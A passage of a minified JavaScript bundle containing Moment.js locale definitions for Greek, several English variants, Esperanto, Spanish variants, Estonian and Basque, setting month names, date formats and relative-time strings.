Function]"===Object.prototype.toString.call(e)}e.defineLocale("el",{monthsNominativeEl:"Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος".split("_"),monthsGenitiveEl:"Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου".split("_"),months:function(e,t){return e?"string"==typeof t&&/D/.test(t.substring(0,t.indexOf("MMMM")))?this._monthsGenitiveEl[e.month()]:this._monthsNominativeEl[e.month()]:this._monthsNominativeEl},monthsShort:"Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ".split("_"),weekdays:"Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο".split("_"),weekdaysShort:"Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ".split("_"),weekdaysMin:"Κυ_Δε_Τρ_Τε_Πε_Πα_Σα".split("_"),meridiem:function(e,t,n){return e>11?n?"μμ":"ΜΜ":n?"πμ":"ΠΜ"},isPM:function(e){return"μ"===(e+"").toLowerCase()[0]},meridiemParse:/[ΠΜ]\.?Μ?\.?/i,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendarEl:{sameDay:"[Σήμερα {}] LT",nextDay:"[Αύριο {}] LT",nextWeek:"dddd [{}] LT",lastDay:"[Χθες {}] LT",lastWeek:function(){switch(this.day()){case 6:return"[το προηγούμενο] dddd [{}] LT";default:return"[την προηγούμενη] dddd [{}] LT"}},sameElse:"L"},calendar:function(e,n){var a=this._calendarEl[e],i=n&&n.hours();return t(a)&&(a=a.apply(n)),a.replace("{}",i%12==1?"στη":"στις")},relativeTime:{future:"σε %s",past:"%s πριν",s:"λίγα δευτερόλεπτα",ss:"%d δευτερόλεπτα",m:"ένα λεπτό",mm:"%d λεπτά",h:"μία ώρα",hh:"%d ώρες",d:"μία μέρα",dd:"%d μέρες",M:"ένας μήνας",MM:"%d μήνες",y:"ένας χρόνος",yy:"%d χρόνια"},dayOfMonthOrdinalParse:/\d{1,2}η/,ordinal:"%dη",week:{dow:1,doy:4}})}(n(30381))},78348:function(e,t,n){!function(e){"use strict";e.defineLocale("en-au",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:4}})}(n(30381))},77925:function(e,t,n){!function(e){"use strict";e.defineLocale("en-ca",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"YYYY-MM-DD",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(n(30381))},22243:function(e,t,n){!function(e){"use strict";e.defineLocale("en-gb",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(30381))},46436:function(e,t,n){!function(e){"use strict";e.defineLocale("en-ie",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(30381))},47207:function(e,t,n){!function(e){"use strict";e.defineLocale("en-il",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(n(30381))},44175:function(e,t,n){!function(e){"use strict";e.defineLocale("en-in",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:6}})}(n(30381))},76319:function(e,t,n){!function(e){"use strict";e.defineLocale("en-nz",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(30381))},31662:function(e,t,n){!function(e){"use strict";e.defineLocale("en-sg",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(30381))},92915:function(e,t,n){!function(e){"use strict";e.defineLocale("eo",{months:"januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"),monthsShort:"jan_feb_mart_apr_maj_jun_jul_aŭg_sept_okt_nov_dec".split("_"),weekdays:"dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"),weekdaysShort:"dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"),weekdaysMin:"di_lu_ma_me_ĵa_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"[la] D[-an de] MMMM, YYYY",LLL:"[la] D[-an de] MMMM, YYYY HH:mm",LLLL:"dddd[n], [la] D[-an de] MMMM, YYYY HH:mm",llll:"ddd, [la] D[-an de] MMM, YYYY HH:mm"},meridiemParse:/[ap]\.t\.m/i,isPM:function(e){return"p"===e.charAt(0).toLowerCase()},meridiem:function(e,t,n){return e>11?n?"p.t.m.":"P.T.M.":n?"a.t.m.":"A.T.M."},calendar:{sameDay:"[Hodiaŭ je] LT",nextDay:"[Morgaŭ je] LT",nextWeek:"dddd[n je] LT",lastDay:"[Hieraŭ je] LT",lastWeek:"[pasintan] dddd[n je] LT",sameElse:"L"},relativeTime:{future:"post %s",past:"antaŭ %s",s:"kelkaj sekundoj",ss:"%d sekundoj",m:"unu minuto",mm:"%d minutoj",h:"unu horo",hh:"%d horoj",d:"unu tago",dd:"%d tagoj",M:"unu monato",MM:"%d monatoj",y:"unu jaro",yy:"%d jaroj"},dayOfMonthOrdinalParse:/\d{1,2}a/,ordinal:"%da",week:{dow:1,doy:7}})}(n(30381))},55251:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-do",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},96112:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-mx",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:4},invalidDate:"Fecha inválida"})}(n(30381))},71146:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-us",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"MM/DD/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:6}})}(n(30381))},55655:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha inválida"})}(n(30381))},5603:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={s:["mõne sekundi","mõni sekund","paar sekundit"],ss:[e+"sekundi",e+"sekundit"],m:["ühe minuti","üks minut"],mm:[e+" minuti",e+" minutit"],h:["ühe tunni","tund aega","üks tund"],hh:[e+" tunni",e+" tundi"],d:["ühe päeva","üks päev"],M:["kuu aja","kuu aega","üks kuu"],MM:[e+" kuu",e+" kuud"],y:["ühe aasta","aasta","üks aasta"],yy:[e+" aasta",e+" aastat"]};return t?i[n][2]?i[n][2]:i[n][1]:a?i[n][0]:i[n][1]}e.defineLocale("et",{months:"jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"),monthsShort:"jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"),weekdays:"pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"),weekdaysShort:"P_E_T_K_N_R_L".split("_"),weekdaysMin:"P_E_T_K_N_R_L".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[Täna,] LT",nextDay:"[Homme,] LT",nextWeek:"[Järgmine] dddd LT",lastDay:"[Eile,] LT",lastWeek:"[Eelmine] dddd LT",sameElse:"L"},relativeTime:{future:"%s pärast",past:"%s tagasi",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:"%d päeva",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},77763:function(e,t,n){!function(e){"use strict";e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(30381))},76959:function(e,t,n){!function(e){"use strict";var 